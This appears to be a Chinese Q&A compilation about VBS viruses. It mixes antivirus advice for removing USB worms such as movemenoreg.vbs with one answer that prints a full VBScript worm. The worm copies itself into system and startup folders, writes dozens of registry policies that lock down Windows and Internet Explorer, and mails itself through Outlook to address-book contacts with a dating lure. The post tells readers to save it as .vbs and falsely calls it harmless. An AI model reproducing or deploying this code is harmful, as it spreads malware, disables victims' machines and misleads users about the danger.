破坏性木马病毒代码vbs格式（vbs恶作剧病毒代码）
本文目录一览：
pif、vbe、vbs的文件后缀都代表什么意思？木马文件一般以什么后缀？
你好：
这些后缀代表文件的类型，木马文件可能是任何后缀，因此不能以后缀来区分是否是木马，你可以访问腾讯电脑管家官网，下载安装一个电脑管家，使用电脑管家的杀毒功能来查杀一下，就知道这些文件的安全性了
如果以后有什么问题，欢迎再来电脑管家企业平台询问，我们会尽心为您解答
腾讯电脑管家企业平台：
U盘中病毒，病毒后缀是vbs,如何清除病毒？
VBS病毒编写简单，但通过U盘传播是很有效的，很多人遇到的vbs病毒一般是movemenoreg.vbs，installer.vbs，helper.vbs这种病毒，而且需要打开隐藏系统文件设置才能在U盘里看到，隐藏的时候是不知道已经感染病毒了，这种病毒一般感染电脑后会把你的电脑当做肉鸡挖矿使用，所以很多人都根本不能发现，所以我们需要定时用专用的工具来对U盘进行杀毒，从而判断电脑有没有感染一些恶意木马。
感染后的U盘表现：
该病毒会在感染的U盘的根目录下建立两个隐藏目录和一个快捷方式文件，其中两个隐藏目录的名称分别为“-”和“WindowsServices”。在名为“-”的目录下存放着用户原来U盘里面的所有文件，在名为“WindowsServices”的目录下存放着三个病毒文件，文件名为：movemenoreg.vbs，installer.vbs，helper.vbs。
感染路径：
U盘被感染后，插入新的电脑上，只要点击了U盘里的模仿你正常文件的快捷方式就触发感染到新电脑上，一般复制病毒到电脑%AppData%\WindowsServices目录下，然后添加开机启动，如果有新U盘插上就麻烦感染新的U盘。
一、手动清除方法：
1、先显示隐藏系统文件，打开任意一个文件夹，点击工具-文件夹选项-然后选择查看，取消勾选
隐藏受保护的操作系统文件，隐藏文件和文件夹选择显示隐藏的文件。
2、找到三个文件所在的位置，U盘里的打开就能看到，直接删除，电脑系统里的在C:\Users\Administrator\AppData\Roaming\WindowsServices文件夹里，但不是每个电脑都是这个文件夹。【C:\Users\****（这里就用你们自己名称）****\AppData\Roaming\WindowsServices\】文件夹是用中文显示的，所以找不到的小伙伴，就直接复制路径，改成你们的用户名就行了。3、注意U盘要先拔出电脑，然后再删电脑里的这些病毒文件，WindowsServices里有三个文件movemenoreg.vbs，installer.vbs，helper.vbs，删掉。
二、软件清除
U盘杀毒软件里清除vbs病毒的usbkiller工具，直接扫描电脑和U盘里所有的vbs病毒，清除所有VBS病毒，比手动操作方便，手动适合无网络的时候使用。
可以看到扫描对方选择，内存，本地硬盘和移动存储就是U盘后，点击开始扫描等待扫描完成就发现vbs病毒全部列出且已经清除病毒的结果。
谁能给我一个vbs病毒代码附说明啊
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir1"\Win32system.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir2"\Win32system.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir1"\Start Menu\Programs\启动\Win32system.vbs")
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
r.Regwrite "HKLM\Software\CLASSES\.reg\","txtfile"
Set ol=CreateObject("Outlook.Application")
On Error Resume Next
For x=1 To 5000
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="今晚你来吗？"
Mail.Body="朋友你好：您的朋友Rose给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！ 同城约会网"
Mail.Attachments.Add(dir2"Win32system.vbs")
Mail.Send
Next
ol.Quit
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD"
把以上代码复制到记事本，另存为vbs文件
这个杀软会报毒，但运行对电脑没有危害，实在不行可以重启
电脑中了vbs病毒怎么解决
1、打开计算机的安全卫士，在页面上方的菜单栏中可见“木马查杀”。
2、点击进入到木马查杀页面，在页面上可见“按位置查杀”。
3、点击“按位置查杀页面”，弹出扫描区域的选择页面，在页面上勾选U盘，然后点击开始扫描，扫描结束后，清除木马病毒即可。
4、清除之后电脑就可以正常使用了。
